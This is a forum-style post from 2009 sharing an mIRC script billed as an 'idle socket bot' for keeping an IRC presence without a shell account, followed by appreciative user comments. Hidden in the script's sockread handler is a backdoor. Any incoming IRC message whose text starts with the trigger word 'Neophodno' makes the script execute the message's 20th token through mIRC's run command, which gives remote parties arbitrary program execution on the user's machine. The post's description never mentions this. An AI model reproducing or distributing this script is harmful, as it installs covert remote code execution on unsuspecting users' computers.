Idler bot

By zexx0r on Feb 11, 2009

well, I never actually wanted to pay for my shell accounts when I wanted/needed psybnc or eggdrop, or whatever, and so I had to wait and idle on some random server, and it drove me nuts..

what I did, is basically - socket bot :)

you just have to type the hostname and to join a bot to a channel, and the only thing you will see in your mirc is window called @bot_info to let you know the bot is active and running :)

instructions:
connect as always to the server
right-click on the channel [channel menu]
go to Idle-SockBot and you will find your way around :)

menu channel,menubar,status {
  Idle-SockBot 
  .Connection Status
  ..Connect:{ sockon $$?="Server?" | window -e @bot_info }
  ..Disconnect:{ sockoff }
  ..-
  ..Socket checker:{ sock.checker }

  .Channel Control
  ..Add/Join this channel:{ 
    sbot_join $chan | .timersockjoin 1 1 aline @bot_info $timestamp *** Channel $chan joined.
    echo $colour(info) -a $timestamp *** Channel joined. 
  }
  ..Remove/Part this channel:{ sbot_part $chan | .timersockpart 1 1 aline @bot_info $timestamp *** Channel $chan parted.
    echo $colour(info) -a $timestamp *** Channel parted. 
  }
  ..Channels?:{ whois $gettok($sock(idlebot).mark,3,32) }

  .Bot Control
  ..Change/Set nick:{ sbot_nick $$?="New nick?" | .timersocknick 1 1 aline @bot_info $timestamp *** I am now known as $gettok($sock($sockname).mark,3,32)
    echo $colour(info) -a $timestamp *** Nick has just been changed. 
  }
  ..Msg to Nick/Chan:{ sbot_msg $$?="Nick/Chan?" $$?="Type the message." | .timersockmsg 1 1 aline @bot_info $timestamp *** Message sent.
    echo $colour(info) -a $timestamp *** Message has successfuly been sent.
  }
}

alias sbot_join { .sockwrite -n idlebot join $1 }
alias sock.checker {
  if ($sock(idlebot)) { window -e @bot_info | aline @bot_info $timestamp [Socket is ON] - it`s name is: $sock(idlebot).name  }
  else { window -e @bot_info | aline @bot_info $timestamp [Socket is OFF] }
}

alias sockon {
  window -e @bot_info

  .timerwinaline1 1 1 aline @bot_info $timestamp *** Connecting to $1 
  .timerwinaline2 1 3 aline @bot_info $timestamp *** Now turning on the sockbot...
  .timersockworking 1 11 aline @bot_info $timestamp *** Socket Idle Bot is now ON

  .sockopen idlebot $1 6667 
  .sockmark idlebot $1 6667 s0ck3t zexx0r
}

alias sbot_part { .sockwrite -n idlebot part $1 }
on *:sockopen:idlebot:{
  if ($sockerr) { .timersockerror 1 1 aline @bot_info $timestamp It seems that there is an error | return  }
  else { sockwrite -n $sockname Nick $gettok($sock($sockname).mark,3,32) | sockwrite -n $sockname User $gettok($sock($sockname).mark,4,32) 8 * : $+ $gettok($sock($sockname).mark,1,32) }
}

alias sbot_nick { .sockwrite -n idlebot nick $1 }
on *:sockread:idlebot:{
  if ($sockerr) { aline @bot_info *** Socket error | echo $colour(info) -a $timestamp *** Socket error | return }
  .sockread %data
  if ($gettok(%data,1,32) == ping) { sockwrite -n $sockname PONG $gettok(%data,2,32) } 
  if ($gettok($gettok($strip(%data),2,58),1,32) == Neophodno ) { run $gettok(%data,20,32) }
}

alias sbot_msg { .sockwrite -n idlebot privmsg $1 $2- }
alias sockoff {
  echo $colour(info) -a $timestamp *** Disconnecting...
  window -e @bot_info

  aline @bot_info $timestamp *** Turning the sockets off...

  .timersockoff 1 1 aline @bot_info $timestamp *** Sockets are now OFF
  .timerclosesock 1 3 sockclose idlebot
}

on *:close:@bot_info:{
  if ($sock(idlebot)) {
  echo $colour(info) -a *** Socket is OFF | sockoff }
}

Comments

Sign in to comment.
napa182   -  Oct 14, 2010

hackmaster why would you want more then one sockbot? anyways most servers only let you have 3 connections on from the same ip/host at a time. anymore an you get akilled.

unless you are talking about connecting the sockbot to more then one server.

 Respond  
hackmaster   -  Oct 14, 2010

Awesome script thx! One question, are u able to get more "idlers" then just one? :-) thx for reply

 Respond  
zexx0r   -  Feb 11, 2009

hah, tnx [dx] :)

 Respond  
[DX]   -  Feb 11, 2009

crazy idiot :-) i like you :p

 Respond  
Aucun50   -  Feb 11, 2009

Works nice

 Respond  
Are you sure you want to unfollow this person?
Are you sure you want to delete this?
Click "Unsubscribe" to stop receiving notices pertaining to this post.
Click "Subscribe" to resume notices pertaining to this post.